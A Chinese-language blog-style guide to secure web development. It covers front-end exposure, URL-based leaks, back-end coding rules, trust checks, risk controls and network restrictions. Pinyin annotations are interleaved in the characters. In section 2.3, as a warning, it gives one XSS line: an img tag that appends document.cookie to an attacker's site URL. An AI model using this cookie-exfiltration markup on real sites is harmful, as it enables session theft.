WEB 應(yīng)用安全開發(fā)
黑客大部分利用的是軟件的漏洞,所以我們要盡可能在開發(fā)的時(shí)候切斷所有可能被利用的地方。要想開發(fā)出安全的系統(tǒng),我們需要熟悉黑客進(jìn)攻的模式和防守的策略。
1. 簡(jiǎn)介
重視安全最好的策略是將風(fēng)險(xiǎn)最大化,開發(fā)的時(shí)候要換位思考,如果我是黑客我是不是有辦法繞過(guò)當(dāng)前的限制。在進(jìn)行具體場(chǎng)景講解前,先來(lái)了解一些關(guān)鍵詞。
1.1 關(guān)鍵名詞
-
同域: 相同域名,端口相同,協(xié)議相同,缺一不可。
-
跨域: 瀏覽器從一個(gè)域名的網(wǎng)頁(yè)去請(qǐng)求另一個(gè)域名的資源時(shí),域名、端口、協(xié)議至少有一個(gè)不相同,就是跨域。
-
ECMAScript: 簡(jiǎn)稱(ES)JavaScript 所遵循的語(yǔ)法標(biāo)準(zhǔn)。
-
W3C: 即 萬(wàn)維網(wǎng)聯(lián)盟 ,最重要的工作是發(fā)展 Web 規(guī)范,這些規(guī)范描述了 Web 的通信協(xié)議(比如 HTML 和 XHTML)和其他的構(gòu)建模塊。
1.2 安全領(lǐng)域的參與者
把握安全領(lǐng)域就要把握 Web 流程中的參與者,除了攻擊者外其它角色均需要提供安全的解決方案。從大的方向有下面幾大角色,沒(méi)有誰(shuí)是絕對(duì)安全的。
2. 前端安全開發(fā)
前端的安全主要圍繞 W3C 進(jìn)行,同時(shí)瀏覽器的漏洞和 Http 協(xié)議本身的缺陷也會(huì)造成影響。
2.1 明文防范
W3C 三個(gè)核心對(duì)象:HTML,JavaScript,CSS 分別負(fù)責(zé)了網(wǎng)站的內(nèi)容結(jié)構(gòu),動(dòng)作交互邏輯,展示樣式。這么核心的東西在客戶都是很容易查看的。雖然 JavaScript 可以混淆加密,但是最終他是需要被瀏覽器解析的,所以肯定是有一套固定的規(guī)范,黑客同樣可以輕易解密。
明文也就算了,用戶居然可以任意更改上面 W3C 的核心對(duì)象,并產(chǎn)生不同的效果,真的是危機(jī)四伏。
- 不要異想天開的在前端與后臺(tái)約定某個(gè)加密算法,這樣算法一下子就泄露了;
- 對(duì)于前端的輸入都要保持懷疑,重要的數(shù)據(jù)如果后端允許,需要自行生成或者加以校驗(yàn);
- 雖然客戶端的一覽無(wú)遺,但是還是要盡量使用 Https 協(xié)議,保證傳輸?shù)倪^(guò)程是加密的;
- 需要權(quán)限的操作,即使前端按鈕隱藏了,后端的接口也需要重新鑒權(quán)下,很可能客戶端自己修改 CSS 使按鈕顯示出來(lái)了;
2.2 URL 導(dǎo)致的泄露問(wèn)題
前端任何地方帶有 URL 的都要引起警惕,主要可能帶來(lái)下面安全問(wèn)題:
- 構(gòu)建系統(tǒng)的某些接口等用戶登錄后觸發(fā);
- 調(diào)用別的網(wǎng)站,將該作用域下的 Cookie 傳輸出去。
常見(jiàn)隱藏點(diǎn):
圖片
<img src='http:xxx'>
css 樣式
background:url(bgimage.gif)
表單 action 地址,或者注入隱藏的 input 參數(shù)
<form action=''>
<input type="hidden" name="field_name" value="value">
2.3 window 下的全局變量
Window 下面帶了很多可以直接使用的全局變量,要警惕危險(xiǎn)。
危險(xiǎn)點(diǎn):利用 window.document 獲取本域 cookie 然后傳輸?shù)胶诳偷木W(wǎng)站
<img src='別的網(wǎng)站URL?param='+document.cookie >
容易受跨站腳本攻擊利用
window.location.href = 【該值最好不要是動(dòng)態(tài)的,容易被注入】
3. 后端安全開發(fā)
3.1 規(guī)范問(wèn)題
- 權(quán)威機(jī)構(gòu)平臺(tái)漏洞訂閱,并及時(shí)做出修改。
- 開發(fā)規(guī)范的遵守
- 學(xué)習(xí)相關(guān)開發(fā)規(guī)范手冊(cè)。
- IDEA 安裝實(shí)時(shí)的代碼掃描插件,有問(wèn)題的地方及時(shí)更正。
- 代碼 review 實(shí)踐。
- 重要參數(shù)不要輕易在日志中輸出。
- 代碼泄露
- 代碼不要上傳網(wǎng)上。
- 數(shù)據(jù)庫(kù),簽名算法,密鑰值 要重要保管,線上不相關(guān)的人不要泄露。
- 重要賬號(hào)不要為了一時(shí)方便提供給開發(fā),測(cè)試 等不相干人員,如果有也要及時(shí)修改密碼。
3.2 設(shè)計(jì)問(wèn)題
- 類似活動(dòng)的抽獎(jiǎng),優(yōu)惠卷領(lǐng)取邏輯不夠嚴(yán)謹(jǐn),可能被人褥羊毛;
- 登錄沒(méi)有限制次數(shù),容易被暴力破解;
- 短信驗(yàn)證沒(méi)有設(shè)置重發(fā)時(shí)間,容易被利用做短信轟炸。
3.3 信任問(wèn)題
-
同域:檢查請(qǐng)求頭的 ref 參數(shù),要么是同域的,要么是信任的才響應(yīng)。
-
請(qǐng)求參數(shù)
- 不要太信任前端參數(shù),重要值后臺(tái)能獲取的盡量自己獲取。
- 請(qǐng)求的所有參數(shù)都做下 XSS/ SQL 注入 的關(guān)鍵字符的過(guò)濾。
-
權(quán)限:涉及到權(quán)限的后端都要自己校驗(yàn),不要說(shuō)前端按鈕隱藏了就可以了。
3.4 增加風(fēng)控邏輯
- 用戶的賬號(hào)異地登陸,可以做出些限制或提醒。
- 某個(gè)用戶購(gòu)買的某個(gè)商品或者領(lǐng)取的優(yōu)惠卷異常多,做出限制。
- 通過(guò) AI 智能模型,對(duì)用戶行為,流量數(shù)據(jù)進(jìn)行檢測(cè),模型異常就做出限制。
3.5 網(wǎng)絡(luò)策略限制
- 數(shù)據(jù)庫(kù),Redis,ES,等需要設(shè)置訪問(wèn)的 IP 白名單。
- 對(duì)服務(wù)器進(jìn)流量和出流量端口做限制。
- 架構(gòu)上面盡量隱藏內(nèi)部服務(wù)等地址。
- 數(shù)據(jù)庫(kù)和應(yīng)用最好分開,以免被一鍋端。
4. 小結(jié)
安全問(wèn)題需要經(jīng)驗(yàn)累積,軟件開發(fā)作為一個(gè)團(tuán)隊(duì)協(xié)作的工作,大家經(jīng)驗(yàn)水平不同,所以盡量在團(tuán)隊(duì)中分享安全開發(fā)的相關(guān)知識(shí),技術(shù) Leader 定期 Review 組員代碼。